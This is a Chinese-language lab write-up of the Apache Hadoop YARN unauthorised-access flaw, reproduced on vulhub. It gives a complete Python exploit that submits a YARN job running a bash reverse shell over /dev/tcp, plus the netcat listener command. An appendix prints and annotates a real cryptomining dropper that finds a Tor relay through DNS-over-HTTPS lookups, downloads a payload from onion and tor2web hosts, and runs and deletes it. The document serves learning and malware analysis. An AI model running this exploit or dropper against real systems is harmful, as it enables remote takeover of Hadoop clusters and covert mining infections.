Apache Hadoop未授权访问漏洞getshell

环境:

vulhub+centos

环境搭建步骤:

1
2
3
cd hadoop/unauthorized-yarn/
docker-compose up -d
docker ps查看状态

复现步骤:

1、采用以下脚本,修改相关URL/ip/port

hadoop.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests

target = 'http://192.168.116.132:8088/'
lhost = '192.168.116.132' # put your local host ip here, and listen at port 9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
print(resp.text)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
cmd = '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost
# cmd = 'touch /tmp/1234.ss'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': cmd,
},
},
'application-type': 'YARN',
}
print(data)
requests.post(url, json=data)

2、开启监听,这里我在hadoop本地开的

1
nc -ivvp 9999

3、执行脚本即可

image-20201109210854299

4、在这里记录下我的坑:docker启动hadoop后,发现有4个容器,刚开始不知道是哪个容器执行了命令,找了半天,最后发现触发执行命令的在nodemanager这个容器内,如果创建了文件,也是在这个容器才能找到。我的docker环境不能访问外网,在docker-compose.yml文件加了network_mode:host配置能访问外网了但是不能成功连接外网监听,最后直接在docker服务器上开启了监听才成功连接的。

image-20201109210958609

更新于11.13

某天刷公众号看到https://mp.weixin.qq.com/s/Em8ZmqHY7N8DNQ3uJl16ag分析到了我上次遇到的坑,这里补充下:

Hadoop2.0之后加入了YARN集群,Yarn集群的主节点承担了资源调度,Yarn集群的从节点中会选出一个节点(这个由redourcemanager决定)进行应用程序的调度。

更新于11.16

想起上次大佬服务器中了挖矿病毒,让我学习的挖矿就是跟这个漏洞有关,当时我没仔细去看,今天刚好分析下。于是问大佬要服务器环境,上去看了下貌似都清理干净了。

image-20201116184131459

于是去网上搜了下.unixdb.sh成功找到一篇心仪的文章记一次Linux挖矿木马清除学习了下,另外附上上次大佬给的学习地址:Hadoop Yarn REST API 未授权漏洞利用挖矿分析

附录:

大佬聊天记录给的脚本,分析脚本,发现该脚本主要功能是从远程地址下载恶意程序并执行,主要的代码注释如下

/home/yarn/.unixdb.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
HDtLGYpXoNJVjcOT+tWEIJWYO+veDD+ftynLBTXOMpFl8jur3TPmuWCQFvISC1t2
exec &>/dev/null #不显示任何输出
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6) #先匹配到x:(id -u) 这行,然后根据:找到用户家目录,即在/etc/passwd中找到当前用户的家目录
c=$(echo "curl -4fsSLkA- -m200") # -4:ipv4,-f:不输出错误,-sS:在选项 -s 中,当 curl 出现错误时将显示,-L:跟踪重定向,-k:不认证ssl,-A:User-Agent,-m:超时设置
t=$(echo "unixdbnuadxmwtob")

#sockz函数功能:生成远程链接 并curl连接
sockz() {
n=(dns.hostux.net dns.dns-over-https.com uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh.centraleu.pi-dns.com doh.dns.sb doh-fi.blahdns.com fi.doh.dns.snopyta.org dns.flatuslifir.is doh.li dns.digitale-gesellschaft.ch)
p=$(echo "dns-query?name=relay.tor2socks.in")
s=$($c https://${n[$((RANDOM%12))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|sort -uR|head -1)
}

#在家目录或者tmp等文件下,新建文件i内容exit,赋予i执行权限,执行后删除i,执行成功一次后退出循环
fexe() {
for i in $d /tmp /var/tmp /dev/shm /usr/bin ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
}

#u函数主要功能:从远程地址下载挖矿脚本到本地,赋予执行权限并执行,执行完就删除
u() {
sockz
fexe
f=/int.$(uname -m) #操作系统多少位
x=./$(date|md5sum|cut -f1 -d-) #获取日期md5值
$c -x socks5h://$s:9050 $t.onion$f -o$x || $c $1$f -o$x #socks5h代理,访问暗网地址下载挖矿脚本,并以日期的mad5命名
chmod +x $x;$x;rm -f $x #给脚本附加执行权限
}

#检查恶意进程状态是否开启,未开始执行u函数
for h in tor2web.in tor2web.ch tor2web.io tor2web.to tor2web.su
do
if ! ls /proc/$(head -1 /tmp/.X11-unix/00)/status; then
u $t.$h
else
break
fi
done